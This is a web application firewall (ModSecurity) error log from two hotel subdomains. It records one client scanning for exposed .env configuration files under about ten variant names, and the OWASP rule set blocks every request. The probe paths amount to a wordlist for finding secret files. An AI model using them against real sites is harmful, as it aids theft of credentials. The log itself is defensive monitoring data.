[Mon Oct 26 08:36:22.996620 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at9JRnhYESb98d-GXViKlwAAAAs"]
[Mon Oct 26 08:36:22.996758 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at9JRnhYESb98d-GXViKlwAAAAs"]
[Mon Oct 26 08:36:22.997004 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at9JRnhYESb98d-GXViKlwAAAAs"]
[Mon Oct 26 08:36:23.000085 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at9JRhA_yAFS6UHz-l1VPwAAAA0"]
[Mon Oct 26 08:36:23.029112 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at9JRhA_yAFS6UHz-l1VPwAAAA0"]
[Mon Oct 26 08:36:23.029525 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at9JRhA_yAFS6UHz-l1VPwAAAA0"]
[Mon Oct 26 08:36:23.036760 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9JR3T09R7Np-FQ85dj0gAAAAo"]
[Mon Oct 26 08:36:23.036947 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9JR3T09R7Np-FQ85dj0gAAAAo"]
[Mon Oct 26 08:36:23.037166 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9JR3T09R7Np-FQ85dj0gAAAAo"]
[Mon Oct 26 08:36:23.040612 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at9JRw9c_Zz9LocrxF9epQAAAAU"]
[Mon Oct 26 08:36:23.040740 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at9JRw9c_Zz9LocrxF9epQAAAAU"]
[Mon Oct 26 08:36:23.040969 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at9JRw9c_Zz9LocrxF9epQAAAAU"]
[Mon Oct 26 08:36:23.043699 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "at9JR3tuNRyqJbUWH7Jv6QAAAAQ"]
[Mon Oct 26 08:36:23.043818 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "at9JR3tuNRyqJbUWH7Jv6QAAAAQ"]
[Mon Oct 26 08:36:23.044064 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "at9JR3tuNRyqJbUWH7Jv6QAAAAQ"]
[Mon Oct 26 08:36:23.045062 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at9JR5_dbg3ptBnwDgQ5GQAAAAM"]
[Mon Oct 26 08:36:23.045181 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at9JR5_dbg3ptBnwDgQ5GQAAAAM"]
[Mon Oct 26 08:36:23.045391 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at9JR5_dbg3ptBnwDgQ5GQAAAAM"]
[Mon Oct 26 08:36:23.054944 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.project"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.project"] [unique_id "at9JR03DiqOFJPXX6P43oQAAABM"]
[Mon Oct 26 08:36:23.055072 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.project"] [unique_id "at9JR03DiqOFJPXX6P43oQAAABM"]
[Mon Oct 26 08:36:23.055310 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.project"] [unique_id "at9JR03DiqOFJPXX6P43oQAAABM"]
[Mon Oct 26 08:36:23.063727 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.qa"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.qa"] [unique_id "at9JRwsj78QLlrBrm-445AAAAAc"]
[Mon Oct 26 08:36:23.063932 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.qa"] [unique_id "at9JRwsj78QLlrBrm-445AAAAAc"]
[Mon Oct 26 08:36:23.064149 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.qa"] [unique_id "at9JRwsj78QLlrBrm-445AAAAAc"]
[Mon Oct 26 08:36:23.079636 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at9JR3hYESb98d-GXViKmAAAAAs"]
[Mon Oct 26 08:36:23.079758 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at9JR3hYESb98d-GXViKmAAAAAs"]
[Mon Oct 26 08:36:23.079982 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at9JR3hYESb98d-GXViKmAAAAAs"]
[Mon Oct 26 08:36:23.107111 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at9JRxA_yAFS6UHz-l1VQAAAAA0"]
[Mon Oct 26 08:36:23.107267 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at9JRxA_yAFS6UHz-l1VQAAAAA0"]
[Mon Oct 26 08:36:23.107568 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at9JRxA_yAFS6UHz-l1VQAAAAA0"]
[Mon Oct 26 08:36:23.114806 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at9JR3T09R7Np-FQ85dj0wAAAAo"]
[Mon Oct 26 08:36:23.114963 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at9JR3T09R7Np-FQ85dj0wAAAAo"]
[Mon Oct 26 08:36:23.115179 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at9JR3T09R7Np-FQ85dj0wAAAAo"]
[Mon Oct 26 08:36:23.120561 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at9JRw9c_Zz9LocrxF9epgAAAAU"]
[Mon Oct 26 08:36:23.120695 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at9JRw9c_Zz9LocrxF9epgAAAAU"]
[Mon Oct 26 08:36:23.120940 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at9JRw9c_Zz9LocrxF9epgAAAAU"]
[Mon Oct 26 08:36:23.123151 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.project"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.project"] [unique_id "at9JR3tuNRyqJbUWH7Jv6gAAAAQ"]
[Mon Oct 26 08:36:23.123278 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.project"] [unique_id "at9JR3tuNRyqJbUWH7Jv6gAAAAQ"]
[Mon Oct 26 08:36:23.123515 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.project"] [unique_id "at9JR3tuNRyqJbUWH7Jv6gAAAAQ"]
